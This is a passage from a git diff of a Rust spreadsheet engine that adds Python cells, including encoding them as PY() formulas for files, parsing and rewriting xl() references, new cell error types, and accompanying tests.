serde_json::from_str(&json).unwrap(); + let cell = back.sheet(0).unwrap().cell(CellRef::parse("B2").unwrap()).unwrap(); + assert_eq!(cell.py.as_ref().unwrap().code, "x = 1\nx"); + // Cells written before Python existed have no `py` field. + let plain: Cell = serde_json::from_value(json!({"value": {"t": "Number", "v": 2.0}, "formula": null, "style": 0})).unwrap(); + assert!(plain.py.is_none()); + assert!(!serde_json::to_string(&plain).unwrap().contains("py"), "no field is written for ordinary cells"); +} + +#[test] +fn new_errors_parse_and_have_error_type_numbers() { + use gridcraft_core::CellError; + for (text, e) in + [("#PYTHON!", CellError::Python), ("#BUSY!", CellError::Busy), ("#TIMEOUT!", CellError::Timeout), ("#BLOCKED!", CellError::Blocked)] + { + assert_eq!(CellError::parse(text), Some(e)); + assert_eq!(e.as_str(), text); + } + let mut s = s(); + s.execute("cell.set", json!({"cell": "A1", "input": "=ERROR.TYPE(#BLOCKED!)"})).unwrap(); + assert_eq!(super::v(&s, "A1"), Value::Number(11.0)); + s.execute("cell.set", json!({"cell": "A2", "input": "=ISERROR(#PYTHON!)"})).unwrap(); + assert_eq!(super::v(&s, "A2"), Value::Bool(true)); +} + +#[test] +fn go_to_special_counts_a_python_cell_as_a_formula_not_a_constant() { + let mut s = s(); + plant(&mut s, 0, "A1", "1 + 1"); + s.execute("cell.set", json!({"cell": "A2", "input": "=1+1"})).unwrap(); + s.execute("cell.set", json!({"cell": "A3", "input": "7"})).unwrap(); + s.execute("selection.set", json!({"range": "A1"})).unwrap(); + let r = s.execute("edit.goToSpecial", json!({"kind": "formulas"})).unwrap(); + assert_eq!(r["count"], 2, "{r}"); + assert_eq!(r["selection"], "A1:A2", "{r}"); + s.execute("selection.set", json!({"range": "A1"})).unwrap(); + let r = s.execute("edit.goToSpecial", json!({"kind": "constants"})).unwrap(); + assert_eq!(r["count"], 1, "{r}"); + assert_eq!(r["selection"], "A3", "{r}"); +} diff --git a/crates/model/src/cell.rs b/crates/model/src/cell.rs index d4466365f..58df4ebeb 100644 --- a/crates/model/src/cell.rs +++ b/crates/model/src/cell.rs @@ -6,6 +6,7 @@ use gridcraft_core::{RangeRef, Value}; use gridcraft_formula::Expr; use serde::{Deserialize, Serialize}; +use crate::python::PyCode; use crate::style::StyleId; /// A parsed formula. `text` is the canonical formula text without the leading `=`. @@ -60,25 +61,45 @@ pub struct CellPicture { #[derive(Clone, Debug, Default, PartialEq, Serialize, Deserialize)] pub struct Cell { - /// Constant value, or the cached result of the formula. + /// Constant value, or the cached result of the formula or Python code. pub value: Value, pub formula: Option>, pub style: StyleId, + /// Python code, for a Python cell (which has no formula). + #[serde(default, skip_serializing_if = "Option::is_none")] + pub py: Option>, } impl Cell { pub fn value(v: Value) -> Cell { - Cell { value: v, formula: None, style: StyleId::DEFAULT } + Cell { value: v, formula: None, style: StyleId::DEFAULT, py: None } } pub fn formula(f: Formula) -> Cell { - Cell { value: Value::Empty, formula: Some(Arc::new(f)), style: StyleId::DEFAULT } + Cell { value: Value::Empty, formula: Some(Arc::new(f)), style: StyleId::DEFAULT, py: None } } - /// No value, no formula and the default style: storing it is pointless. + /// A value cell with this style. + pub fn styled(v: Value, style: StyleId) -> Cell { + Cell { value: v, formula: None, style, py: None } + } + /// No value, no formula, no Python code and the default style: storing it is pointless. pub fn is_blank(&self) -> bool { - self.value.is_empty() && self.formula.is_none() && self.style == StyleId::DEFAULT + self.value.is_empty() && self.formula.is_none() && self.style == StyleId::DEFAULT && self.py.is_none() } - /// What the formula bar shows. + /// Whether the cell holds content (a value, a formula or Python code), formats aside. + pub fn has_content(&self) -> bool { + !self.value.is_empty() || self.formula.is_some() || self.py.is_some() + } + /// Removes the content (value, formula and Python code), keeping the style. + pub fn clear_content(&mut self) { + self.value = Value::Empty; + self.formula = None; + self.py = None; + } + /// What the formula bar shows: a formula, a Python cell's code, or the value. pub fn input_text(&self) -> String { + if let Some(py) = &self.py { + return py.code.clone(); + } if let Some(f) = &self.formula { return format!("={}", f.text); } diff --git a/crates/model/src/lib.rs b/crates/model/src/lib.rs index 071de683c..300fdc66a 100644 --- a/crates/model/src/lib.rs +++ b/crates/model/src/lib.rs @@ -10,6 +10,7 @@ mod cellmap; pub mod features; pub mod password; pub mod preserved; +pub mod python; pub mod sheet; pub mod store; pub mod style; @@ -19,6 +20,7 @@ pub use cell::{Cell, CellPicture, Formula}; pub use features::*; pub use password::PasswordHash; pub use preserved::{Preserved, PreservedPart, PreservedRel, PreservedSheet, PreservedXml}; +pub use python::{PyCode, PyOutput}; pub use sheet::{DEFAULT_COL_WIDTH, DEFAULT_ROW_HEIGHT, LineIndex, Sheet, SheetViewMode, Visibility, points_to_chars}; pub use store::CellStore; pub use style::{ diff --git a/crates/model/src/python.rs b/crates/model/src/python.rs new file mode 100644 index 000000000..abd4c9414 --- /dev/null +++ b/crates/model/src/python.rs @@ -0,0 +1,437 @@ +//! Python cells: the code a cell holds, its last result, and the text forms around it (the +//! `PY(…)` formula files store it as, and the `xl("…")` references inside it). + +use gridcraft_core::{CellError, Value}; +use serde::{Deserialize, Serialize}; + +/// Excel's limit on the characters of one formula. A Python cell's code must fit in it once it is +/// encoded as a file formula ([`PyCode::to_file_formula`]): quotes are doubled and every 255 +/// characters add `"&"`, so the limit on the code itself depends on what the code holds. +pub const MAX_FORMULA_CHARS: usize = 8_192; + +/// The prefix files put before `PY(`, as Excel writes it ([MS-XLSX]: `_xlfn._xlws.PY`). +pub const FILE_PREFIX: &str = "_xlfn._xlws."; + +/// Characters in one string literal of a `PY(…)` formula (Excel's limit for a literal). +const CHUNK_CHARS: usize = 255; + +/// A Python cell. +#[derive(Clone, Debug, Default, PartialEq, Serialize, Deserialize)] +#[serde(default, rename_all = "camelCase")] +pub struct PyCode { + pub code: String, + /// Show the result as a Python object (true) or convert it to cell values (false). + pub object: bool, + /// The last result, when the code ran without an error. + pub output: Option, + /// The cell's inputs changed while calculation was manual: its value is out of date until + /// the workbook is calculated. + pub stale: bool, +} + +/// A Python result kept on the cell. +#[derive(Clone, Debug, Default, PartialEq, Serialize, Deserialize)] +#[serde(default, rename_all = "camelCase")] +pub struct PyOutput { + /// The result as cells (an array spills), or its preview as text when it has no cell form. + pub value: Value, + /// Python's name for the result's type. + pub type_name: String, + /// The result's `repr`, shortened. + pub preview: String, + /// Whether `value` is the result converted to cells. + pub convertible: bool, +} + +impl PyCode { + pub fn new(code: &str) -> PyCode { + PyCode { code: normalize_code(code), ..PyCode::default() } + } + + /// What the cell shows for its result: cell values (an array spills from the cell), or, for a + /// Python object, its type name. `None` before the code has run. + pub fn result_value(&self) -> Option { + let out = self.output.as_ref()?; + let scalar = !matches!(out.value, Value::Array(_)) && out.convertible; + Some(if self.object && !scalar { Value::text(out.type_name.as_str()) } else { out.value.clone() }) + } + + /// The cell as a formula (without `=`): `PY("…"&"…",0)`, with the code in string literals of + /// at most 255 characters and the return type Excel documents: 0 for an Excel value, 1 for a + /// Python object. + pub fn to_formula(&self) -> String { + let chunks = chunk(&self.code, CHUNK_CHARS); + let lits: Vec = chunks.iter().map(|c| format!("\"{}\"", c.replace('"', "\"\""))).collect(); + let lits = if lits.is_empty() { "\"\"".to_string() } else { lits.join("&") }; + format!("PY({lits},{})", u8::from(self.object)) + } + + /// The formula a file stores the cell as: [`PyCode::to_formula`] with Excel's + /// `_xlfn._xlws.` prefix, so Excel reads it as its own Python function. + pub fn to_file_formula(&self) -> String { + format!("{FILE_PREFIX}{}", self.to_formula()) + } + + /// Whether the code fits in a file formula of at most [`MAX_FORMULA_CHARS`] characters. + pub fn fits(&self) -> bool { + // Code longer than the limit can't fit; this also bounds the work for hostile input. + self.code.chars().nth(MAX_FORMULA_CHARS).is_none() && self.to_file_formula().chars().nth(MAX_FORMULA_CHARS).is_none() + } + + /// Reads a `PY(…)` formula (with or without `=`, and with or without the `_xlfn.` and + /// `_xlws.` prefixes): string literals joined by `&`, optionally followed by `,0` or `,1`. + /// `None` for anything else. + pub fn from_formula(text: &str) -> Option { + let body = py_body(text); + let rest = body.get(..3).filter(|h| h.eq_ignore_ascii_case("PY(")).and_then(|_| body.get(3..))?; + let mut chars = rest.chars().peekable(); + let mut code = String::new(); + loop { + skip_space(&mut chars); + if chars.next()? != '"' { + return None; + } + loop { + match chars.next()? { + '"' if chars.peek() == Some(&'"') => { + chars.next(); + code.push('"'); + } + '"' => break, + c => code.push(c), + } + } + skip_space(&mut chars); + match chars.next()? { + '&' => continue, + ',' => { + skip_space(&mut chars); + let object = match chars.next()? { + '0' => false, + '1' => true, + _ => return None, + }; + skip_space(&mut chars); + return (chars.next()? == ')' && chars.all(char::is_whitespace)).then(|| PyCode { object, ..PyCode::new(&code) }); + } + ')' => return chars.all(char::is_whitespace).then(|| PyCode::new(&code)), + _ => return None, + } + } + } +} + +/// `text` without a leading `=`, spaces and the `_xlfn.` and `_xlws.` prefixes files put before +/// newer functions (in any letter case). +fn py_body(text: &str) -> &str { + let mut body = text.trim().trim_start_matches('=').trim_start(); + for prefix in ["_xlfn.", "_xlws."] { + if body.get(..prefix.len()).is_some_and(|h| h.eq_ignore_ascii_case(prefix)) { + body = body.get(prefix.len()..).unwrap_or_default(); + } + } + body +} + +fn skip_space(chars: &mut std::iter::Peekable>) { + while chars.peek().is_some_and(|c| c.is_whitespace()) { + chars.next(); + } +} + +/// Line breaks as `\n`. +pub fn normalize_code(code: &str) -> String { + code.replace("\r\n", "\n").replace('\r', "\n") +} + +/// `s` in pieces of at most `n` characters. +fn chunk(s: &str, n: usize) -> Vec { + let chars: Vec = s.chars().collect(); + chars.chunks(n.max(1)).map(|c| c.iter().collect()).collect() +} + +/// Whether `text` (a formula, with or without `=`) is a `PY(` call: such formulas are Python cells, +/// set with `python.set`. +pub fn is_py_formula(text: &str) -> bool { + let body = py_body(text); + body.get(..3).is_some_and(|h| h.eq_ignore_ascii_case("PY(")) || body.eq_ignore_ascii_case("PY") +} + +/// An `xl()` call in Python code. +#[derive(Clone, Debug, PartialEq, Eq)] +pub struct XlCall { + /// The reference text, when the first argument is a plain string literal. + pub reference: Option, + /// Byte range of the literal's contents (between the quotes) in the code. + pub span: Option>, +} + +/// The `xl(…)` calls in `code`, skipping comments and other string literals. A call whose first +/// argument isn't a plain string literal has no reference: the cells it reads are only known when +/// it runs. +pub fn xl_calls(code: &str) -> Vec { + let bytes = code.as_bytes(); + let mut out = Vec::new(); + let mut i = 0usize; + while let Some(&b) = bytes.get(i) { + match b { + b'#' => { + // A comment runs to the end of the line. + while bytes.get(i).is_some_and(|c| *c != b'\n') { + i += 1; + } + } + b'"' | b'\'' => i = skip_string(bytes, i), + b'x' if bytes.get(i + 1) == Some(&b'l') && (i == 0 || bytes.get(i - 1).is_some_and(|p| !is_ident(*p) && *p != b'.')) => { + let mut j = i + 2; + if bytes.get(j).is_some_and(|c| is_ident(*c)) { + i = j; + continue; + } + while bytes.get(j).is_some_and(|c| *c == b' ' || *c == b'\t') { + j += 1; + } + if bytes.get(j) != Some(&b'(') { + i = j; + continue; + } + j += 1; + while bytes.get(j).is_some_and(|c| c.is_ascii_whitespace()) { + j += 1; + } + let call = match bytes.get(j) { + Some(&q @ (b'"' | b'\'')) => { + let start = j + 1; + let end = skip_string(bytes, j); + // A plain literal: closed on its own line, not part of an expression + // (`xl("A" + n)`), not a triple-quoted string, and escaping nothing but a + // quote or a backslash (`\'`, `\"`, `\\`), which a sheet name may need. + let close = end.saturating_sub(1); + let mut k = end; + while bytes.get(k).is_some_and(|c| *c == b' ' || *c == b'\t') { + k += 1; + } + let plain = close > start + && bytes.get(close) == Some(&q) + && bytes.get(start) != Some(&q) + && matches!(bytes.get(k), Some(b')' | b',')); + i = end; + match code.get(start..close).filter(|_| plain).and_then(unescape) { + Some(t) => XlCall { reference: Some(t), span: Some(start..close) }, + None => XlCall { reference: None, span: None }, + } + } + _ => { + i = j; + XlCall { reference: None, span: None } + } + }; + out.push(call); + } + _ => i += 1, + } + } + out +} + +fn is_ident(b: u8) -> bool { + b.is_ascii_alphanumeric() || b == b'_' || b >= 0x80 +} + +/// The index just past the string literal starting at `at` (single, double or triple quoted). +fn skip_string(bytes: &[u8], at: usize) -> usize { + let Some(&q) = bytes.get(at) else { return at.saturating_add(1) }; + let triple = bytes.get(at + 1) == Some(&q) && bytes.get(at + 2) == Some(&q); + let mut i = if triple { at + 3 } else { at + 1 }; + while let Some(&c) = bytes.get(i) { + if c == b'\\' { + i += 2; + continue; + } + if c == q { + if !triple { + return i + 1; + } + if bytes.get(i + 1) == Some(&q) && bytes.get(i + 2) == Some(&q) { + return i + 3; + } + } else if c == b'\n' && !triple { + return i; + } + i += 1; + } + i +} + +/// The text of a plain literal's contents: `\'`, `\"` and `\\` stand for the character after the +/// backslash. `None` for any other escape or a line break, which make the literal not plain. +fn unescape(raw: &str) -> Option { + let mut out = String::with_capacity(raw.len()); + let mut chars = raw.chars(); + while let Some(c) = chars.next() { + match c { + '\n' => return None, + '\\' => match chars.next()? { + e @ ('\\' | '\'' | '"') => out.push(e), + _ => return None, + }, + c => out.push(c), + } + } + Some(out) +} + +/// `text` as a plain literal that was delimited by `quote`: its delimiter (`quote`, or the other +/// quote when `text` holds `quote` but not the other one, so `xl('Sheet2!B2')` becomes +/// `xl("'Q4 2026'!B2")` on a rename) and its contents, with backslashes escaped, and the +/// delimiter too when `text` holds both quotes. `None` for a line break, which no literal on +/// one line holds. +fn literal(text: &str, quote: char) -> Option<(char, String)> { + if text.contains('\n') { + return None; + } + let other = if quote == '\'' { '"' } else { '\'' }; + let delim = if text.contains(quote) && !text.contains(other) { other } else { quote }; + let mut body = String::with_capacity(text.len()); + for c in text.chars() { + if c == '\\' || c == delim { + body.push('\\'); + } + body.push(c); + } + Some((delim, body)) +} + +/// Rewrites the reference of every `xl("…")` literal in `code` with `f`; `None` from `f` leaves +/// it. Returns the new code when anything changed. A new reference holding the literal's quote +/// (a sheet name that needs quotes, `'Q4 2026'!B2`) gets the other quote as its delimiter, or an +/// escaped quote when it holds both, so it never ends the string early. +pub fn rewrite_xl(code: &str, mut f: impl FnMut(&str) -> Option) -> Option { + let mut out = String::with_capacity(code.len()); + let mut last = 0usize; + let mut changed = false; + for call in xl_calls(code) { + let (Some(reference), Some(span)) = (call.reference, call.span) else { continue }; + let Some(new) = f(&reference).filter(|n| *n != reference) else { continue }; + let open = span.start.saturating_sub(1); + let Some(quote) = code.get(open..span.start).and_then(|q| q.chars().next()) else { continue }; + let Some((delim, body)) = literal(&new, quote) else { continue }; + // The literal with its quotes: the delimiter may change. + out.push_str(code.get(last..open).unwrap_or_default()); + out.push(delim); + out.push_str(&body); + out.push(delim); + last = span.end.saturating_add(1); + changed = true; + } + if !changed { + return None; + } + out.push_str(code.get(last..).unwrap_or_default()); + Some(out) +} + +/// The value a Python cell shows when it can't run: `#BLOCKED!`. +pub const BLOCKED: Value = Value::Error(CellError::Blocked); + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn formula_round_trip_with_chunks_and_quotes() { + let code = format!("s = \"quoted\"\n{}\nlen(s)", "x".repeat(600)); + let py = PyCode { object: true, ..PyCode::new(&code) }; + let f = py.to_formula(); + assert!(f.starts_with("PY(\"s = \"\"quoted\"\"\n")); + assert!(f.ends_with(",1)")); + assert_eq!(f.matches("\"&\"").count(), 2, "{f}"); + let back = PyCode::from_formula(&format!("={f}")).unwrap(); + assert_eq!(back.code, code); + assert!(back.object); + assert_eq!(PyCode::from_formula("_xlfn.PY(\"1+1\")").unwrap().code, "1+1"); + // Excel writes `_xlfn._xlws.PY`; the reader takes it in any letter case. + assert_eq!(PyCode::from_formula("=_xlfn._xlws.PY(\"1+1\",1)").unwrap().code, "1+1"); + assert_eq!(PyCode::from_formula("_XLFN._XLWS.py(\"2\",0)").unwrap().code, "2"); + assert_eq!(PyCode::from_formula("_xlws.PY(\"3\",0)").unwrap().code, "3"); + assert!(is_py_formula("=_xlfn._xlws.PY(\"1\",0)")); + assert_eq!(py.to_file_formula(), format!("_xlfn._xlws.{f}")); + assert_eq!(PyCode::from_formula(&py.to_file_formula()).unwrap(), PyCode::from_formula(&f).unwrap()); + assert_eq!(PyCode::from_formula(" py( \"a\" & \"b\" , 0 ) ").unwrap().code, "ab"); + assert_eq!(PyCode::new("a\r\nb").code, "a\nb"); + for bad in ["PY(A1)", "PY(\"a\",2)", "PY(\"a\"", "PY(\"a\")+1", "SUM(1)", "PY(\"a\"&B1)", "PY(", ""] { + assert!(PyCode::from_formula(bad).is_none(), "{bad}"); + } + assert!(is_py_formula("=PY(\"1\")") && is_py_formula("=py") && !is_py_formula("=PYTHON(1)")); + } + + #[test] + fn the_size_limit_counts_the_encoded_formula() { + // Plain code: the limit is the formula's, so it is a little under 8,192 characters of code. + // `_xlfn._xlws.PY(` + 31 literals of 255 + 30 `&` + `&"…"` + `,0)`: 8,079 characters of + // code give a formula of exactly 8,192. + let at = PyCode::new(&"y".repeat(8_079)); + assert_eq!(at.to_file_formula().chars().count(), MAX_FORMULA_CHARS); + assert!(at.fits()); + assert!(!PyCode::new(&"y".repeat(8_080)).fits()); + assert_eq!(PyCode::from_formula(&at.to_file_formula()).unwrap().code, at.code); + // Quotes are doubled in the file, so 7,000 characters with 1,200 of them don't fit. + let quoted = format!("{}{}", "\"".repeat(1_200), "y".repeat(5_800)); + assert!(PyCode::new("ed).to_file_formula().chars().count() > MAX_FORMULA_CHARS); + assert!(!PyCode::new("ed).fits()); + // Hostile sizes are refused without encoding them. + assert!(!PyCode::new(&"y".repeat(4_000_000)).fits()); + assert!(PyCode::new("").fits()); + } + + #[test] + fn result_values() { + let arr = gridcraft_core::Array::new(2, 1, vec![1.0.into(), 2.0.into()]).map(Value::from).unwrap(); + let out = PyOutput { value: arr.clone(), type_name: "list".into(), preview: "[1, 2]".into(), convertible: true }; + let mut py = PyCode { output: Some(out), ..PyCode::new("[1, 2]") }; + assert_eq!(py.result_value(), Some(arr)); + py.object = true; + assert_eq!(py.result_value(), Some(Value::text("list"))); + py.output = Some(PyOutput { value: Value::Number(3.0), type_name: "int".into(), preview: "3".into(), convertible: true }); + assert_eq!(py.result_value(), Some(Value::Number(3.0)), "scalars show as values in object mode too"); + py.output = None; + assert_eq!(py.result_value(), None); + } + + #[test] + fn finds_xl_literals() { + let code = "a = xl(\"A1:B2\", headers=True)\n# xl('C1') in a comment\ns = \"xl('D1')\"\nb = xl( 'Sheet2!E5' )\nc = xl(name)\nd = df.xl('F1')\nxlx('G1')\ne = xl(\"A\" + \"1\")"; + let calls = xl_calls(code); + let refs: Vec> = calls.iter().map(|c| c.reference.as_deref()).collect(); + assert_eq!(refs, vec![Some("A1:B2"), Some("Sheet2!E5"), None, None]); + let new = rewrite_xl(code, |r| (r == "A1:B2").then(|| "A2:B3".to_string())).unwrap(); + assert!(new.starts_with("a = xl(\"A2:B3\", headers=True)")); + assert_eq!(new.len(), code.len()); + assert_eq!(rewrite_xl(code, |_| None), None); + // A replacement can't break out of its string: a quote in it changes the delimiter, or is + // escaped when it holds both quotes, and the result reads back as the same reference. + assert_eq!(rewrite_xl("xl(\"A1\")", |_| Some("'Q'!A1".into())), Some("xl(\"'Q'!A1\")".into())); + assert_eq!(rewrite_xl("xl('Sheet2!B2', headers=True)", |_| Some("'Q4 2026'!B2".into())), Some("xl(\"'Q4 2026'!B2\", headers=True)".into())); + assert_eq!(rewrite_xl("xl(\"A1\")", |_| Some("'Q\"4'!A1".into())), Some("xl(\"'Q\\\"4'!A1\")".into())); + assert_eq!(rewrite_xl("xl('A1')", |_| Some("'Q\"4'!A1".into())), Some("xl('\\'Q\"4\\'!A1')".into())); + for (delim, new) in [("'", "'Q4 2026'!B2"), ("'", "'Q\"4'!A1"), ("\"", "'Q\"4'!A1"), ("\"", "'a\\b'!A1"), ("'", "B2")] { + let code = format!("x = xl({delim}A1{delim}) + 1"); + let out = rewrite_xl(&code, |_| Some(new.to_string())).unwrap(); + assert_eq!(xl_calls(&out)[0].reference.as_deref(), Some(new), "{out}"); + assert!(out.ends_with(") + 1"), "{out}"); + } + assert_eq!(rewrite_xl("xl('A1')", |_| Some("A\n1".into())), None, "a line break can't go in a literal"); + // Escaped quotes and backslashes read as the characters; any other escape is not plain. + assert_eq!(xl_calls("xl('Bob\\'s!A1')")[0].reference.as_deref(), Some("Bob's!A1")); + assert_eq!(xl_calls("xl(\"A\\\\1\")")[0].reference.as_deref(), Some("A\\1")); + assert_eq!(xl_calls("xl(\"A\\n1\")")[0].reference, None); + assert_eq!(xl_calls("xl(\"A1\\\")")[0].reference, None, "an escaped closing quote leaves the literal open"); + // Unclosed and odd input doesn't loop or panic. + for odd in ["xl(", "xl(\"", "xl('''A1''')", "x", "xl", "\"unterminated", "xl ( \"A1\" )", "é xl('A1')"] { + let _ = xl_calls(odd); + let _ = rewrite_xl(odd, |_| Some("B2".into())); + } + assert_eq!(xl_calls("xl ( \"A1\" )")[0].reference.as_deref(), Some("A1")); + assert_eq!(xl_calls("xl('''A1''')")[0].reference, None); + } +} diff --git a/crates/model/src/sheet.rs b/crates/model/src/sheet.rs index abc4731dc..6bbb331f4 100644 --- a/crates/model/src/sheet.rs +++ b/crates/model/src/sheet.rs @@ -259,7 +259,7 @@ impl Sheet { } pub fn set_value(&mut self, c: CellRef, v: Value) { let style = self.style_id(c); - self.set_cell(c, Cell { value: v, formula: None, style }); + self.set_cell(c, Cell { value: v, formula: None, style, py: None }); } /// Replaces content, removing any picture at this address. Style-only edits use set_style. pub fn set_cell(&mut self, c: CellRef, cell: Cell) { @@ -278,7 +278,7 @@ impl Sheet { /// Pictures retain a scalar fallback for calculation and unsupported consumers. pub fn set_picture(&mut self, c: CellRef, picture: Arc) { let style = self.style_id(c); - self.cells.set(c, Cell { value: Value::Error(gridcraft_core::CellError::Value), formula: None, style }); + self.cells.set(c, Cell { value: Value::Error(gridcraft_core::CellError::Value), formula: None, style, py: None }); self.cell_pictures.insert(c, picture); } pub fn input_text(&self, c: CellRef) -> String { diff --git a/crates/model/src/store.rs b/crates/model/src/store.rs index 531273ce9..001b7cf60 100644 --- a/crates/model/src/store.rs +++ b/crates/model/src/store.rs @@ -14,7 +14,7 @@ use crate::cell::Cell; const BAND: u32 = 64; fn has_value(cell: &Cell) -> bool { - !cell.value.is_empty() || cell.formula.is_some() + cell.has_content() } #[derive(Clone, Debug, Default, PartialEq, Serialize, Deserialize)] diff --git a/crates/xlsx/src/csv.rs b/crates/xlsx/src/csv.rs index dfc694ea6..65ef1d17b 100644 --- a/crates/xlsx/src/csv.rs +++ b/crates/xlsx/src/csv.rs @@ -288,7 +288,7 @@ pub fn read_csv(bytes: &[u8], opts: &CsvOptions) -> Result { }, None => StyleId::DEFAULT, }; - Cell { value: p.value, formula: None, style } + Cell { value: p.value, formula: None, style, py: None } } else { Cell::value(Value::Text(Arc::from(f))) }; diff --git a/crates/xlsx/src/sheet_read.rs b/crates/xlsx/src/sheet_read.rs index aadd1141e..bec67bd1a 100644 --- a/crates/xlsx/src/sheet_read.rs +++ b/crates/xlsx/src/sheet_read.rs @@ -516,7 +516,7 @@ fn read_cell(cx: &mut Ctx<'_>, sheet: &mut Sheet, st: &mut RowState, c: &El, pos let dynamic = c.attr("cm").is_some(); let formula = c.child("f").and_then(|f| read_formula(cx, st, f, pos, dynamic)); let value = if formula.is_none() && in_dynamic(st, pos) { Value::Empty } else { value }; - sheet.cells.set(pos, Cell { value, formula: formula.map(Arc::new), style }); + sheet.cells.set(pos, Cell { value, formula: formula.map(Arc::new), style, py: None }); } fn read_formula(cx: &mut Ctx<'_>, st: &mut RowState, f: &El, pos: CellRef, dynamic: bool) -> Option { diff --git a/crates/xlsx/src/sheet_write.rs b/crates/xlsx/src/sheet_write.rs index 52dc979e6..9251edaa4 100644 --- a/crates/xlsx/src/sheet_write.rs +++ b/crates/xlsx/src/sheet_write.rs @@ -698,8 +698,10 @@ fn write_cell( let value = match value { Value::Error(CellError::Circ) => Value::Number(0.0), // #SPILL! and #CALC! are not error codes of the file format (Excel refuses a file that - // caches them); Excel itself caches them as #VALUE!. - Value::Error(CellError::Spill | CellError::Calc) => Value::Error(CellError::Value), + // caches them); Excel itself caches them as #VALUE!. The Python errors are the same kind. + Value::Error(CellError::Spill | CellError::Calc | CellError::Python | CellError::Busy | CellError::Timeout | CellError::Blocked) => { + Value::Error(CellError::Value) + } v => v, }; // A formula read with dynamic-array metadata keeps it, even where the shape analysis would diff --git a/crates/xlsx/src/tests/locale_numfmt.rs b/crates/xlsx/src/tests/locale_numfmt.rs index 3259a3657..749d832ad 100644 --- a/crates/xlsx/src/tests/locale_numfmt.rs +++ b/crates/xlsx/src/tests/locale_numfmt.rs @@ -25,7 +25,7 @@ fn round_trip(code: &str) -> (u32, String, String) { let mut wb = Workbook::new(); let style = wb.styles.derive(StyleId::DEFAULT, |s| s.num_fmt = NumFmt::new(code)); let mut sheet = Sheet::new("Sheet1"); - sheet.cells.set(CellRef::new(0, 0), Cell { value: Value::Number(-0.14), formula: None, style }); + sheet.cells.set(CellRef::new(0, 0), Cell { value: Value::Number(-0.14), formula: None, style, py: None }); wb.sheets = vec![Arc::new(sheet)]; let bytes = write_xlsx(&wb).unwrap(); let xml = styles_xml(&bytes); diff --git a/crates/xlsx/src/tests/phonetic_tests.rs b/crates/xlsx/src/tests/phonetic_tests.rs index 37f37ed2b..43b30b6ba 100644 --- a/crates/xlsx/src/tests/phonetic_tests.rs +++ b/crates/xlsx/src/tests/phonetic_tests.rs @@ -33,7 +33,7 @@ fn part(bytes: &[u8], name: &str) -> String { } fn text_cell(sheet: &mut gridcraft_model::Sheet, a: &str, text: &str) { - sheet.cells.set(at(a), Cell { value: Value::text(text), formula: None, style: StyleId::DEFAULT }); + sheet.cells.set(at(a), Cell { value: Value::text(text), formula: None, style: StyleId::DEFAULT, py: None }); } #[test] diff --git a/crates/xlsx/src/tests/pivot_tests.rs b/crates/xlsx/src/tests/pivot_tests.rs index b9123e432..4f2c89dbd 100644 --- a/crates/xlsx/src/tests/pivot_tests.rs +++ b/crates/xlsx/src/tests/pivot_tests.rs @@ -52,7 +52,7 @@ fn workbook() -> Workbook { let r = r as u32 + 1; data.cells.set(CellRef::new(r, 0), Cell::value(Value::text(*a))); data.cells.set(CellRef::new(r, 1), Cell::value(Value::text(*b))); - data.cells.set(CellRef::new(r, 2), Cell { value: Value::number(*d), formula: None, style: date_style }); + data.cells.set(CellRef::new(r, 2), Cell { value: Value::number(*d), formula: None, style: date_style, py: None }); data.cells.set(CellRef::new(r, 3), Cell::value(Value::number(*u))); data.cells.set(CellRef::new(r, 4), Cell::value(Value::number(*s))); data.cells.set(CellRef::new(r, 5), Cell::value(Value::text(*ch))); diff --git a/crates/xlsx/src/tests/roundtrip.rs b/crates/xlsx/src/tests/roundtrip.rs index 14fc784f9..fe01f284e 100644 --- a/crates/xlsx/src/tests/roundtrip.rs +++ b/crates/xlsx/src/tests/roundtrip.rs @@ -64,7 +64,7 @@ fn sample() -> Workbook { }; let mut s = Sheet::new("Data & Stuff"); - let set = |s: &mut Sheet, a: &str, v: Value, style: StyleId| s.cells.set(at(a), Cell { value: v, formula: None, style }); + let set = |s: &mut Sheet, a: &str, v: Value, style: StyleId| s.cells.set(at(a), Cell { value: v, formula: None, style, py: None }); set(&mut s, "A1", Value::text("Region"), bold); set(&mut s, "B1", Value::text("Amount"), bold); set(&mut s, "C1", Value::text(" spaced\nline _x0041_ \u{1} "), StyleId::DEFAULT); @@ -839,7 +839,7 @@ fn writing_repairs_invalid_models() { table_type: None, connection_id: None, }); - s.cells.set(at("B2"), Cell { value: Value::Number(1.0), formula: None, style: StyleId(9999) }); + s.cells.set(at("B2"), Cell { value: Value::Number(1.0), formula: None, style: StyleId(9999), py: None }); let (back, _) = read_xlsx(&write_xlsx(&wb).unwrap()).unwrap(); let s = back.sheet(0).unwrap(); assert_eq!(s.visibility, Visibility::Visible, "at least one sheet stays visible"); diff --git a/crates/xlsx/src/xls/mod.rs b/crates/xlsx/src/xls/mod.rs index ca3ec9eb3..90ecf629d 100644 --- a/crates/xlsx/src/xls/mod.rs +++ b/crates/xlsx/src/xls/mod.rs @@ -454,7 +454,7 @@ impl SheetState<'_> { return Ok(Some(pos)); } budget.cell()?; - self.sheet.cells.set(pos, Cell { value, formula: None, style }); + self.sheet.cells.set(pos, Cell { value, formula: None, style, py: None }); Ok(Some(pos)) } @@ -472,7 +472,7 @@ impl SheetState<'_> { if let Some(cell) = self.sheet.cells.get_mut(pos) { cell.formula = Some(Arc::new(f)); } else { - self.sheet.cells.set(pos, Cell { value: Value::Empty, formula: Some(Arc::new(f)), style: StyleId::DEFAULT }); + self.sheet.cells.set(pos, Cell { value: Value::Empty, formula: Some(Arc::new(f)), style: StyleId::DEFAULT, py: None }); } } Err(Unsupported(why)) => self.unsupported(why), @@ -531,7 +531,7 @@ fn blank_array_followers(st: &mut SheetState<'_>, pending: &[Pending]) { let filled = st.sheet.cell(p.anchor).and_then(|c| c.formula.as_ref()).and_then(|f| f.array).is_some_and(|r| r.contains(p.pos)); if p.pos != p.anchor && filled { let style = st.sheet.style_id(p.pos); - st.sheet.cells.set(p.pos, Cell { value: Value::Empty, formula: None, style }); + st.sheet.cells.set(p.pos, Cell { value: Value::Empty, formula: None, style, py: None }); } } } @@ -677,7 +677,7 @@ fn sheet_record(rec: &Record<'_>, st: &mut SheetState<'_>, budget: &mut Budget, if let Some(cell) = st.sheet.cells.get_mut(pos) { cell.value = Value::from(s); } else { - st.sheet.cells.set(pos, Cell { value: Value::from(s), formula: None, style }); + st.sheet.cells.set(pos, Cell { value: Value::from(s), formula: None, style, py: None }); } } } @@ -832,7 +832,7 @@ fn formula_cell(c: &mut Cursor<'_, '_>, st: &mut SheetState<'_>, budget: 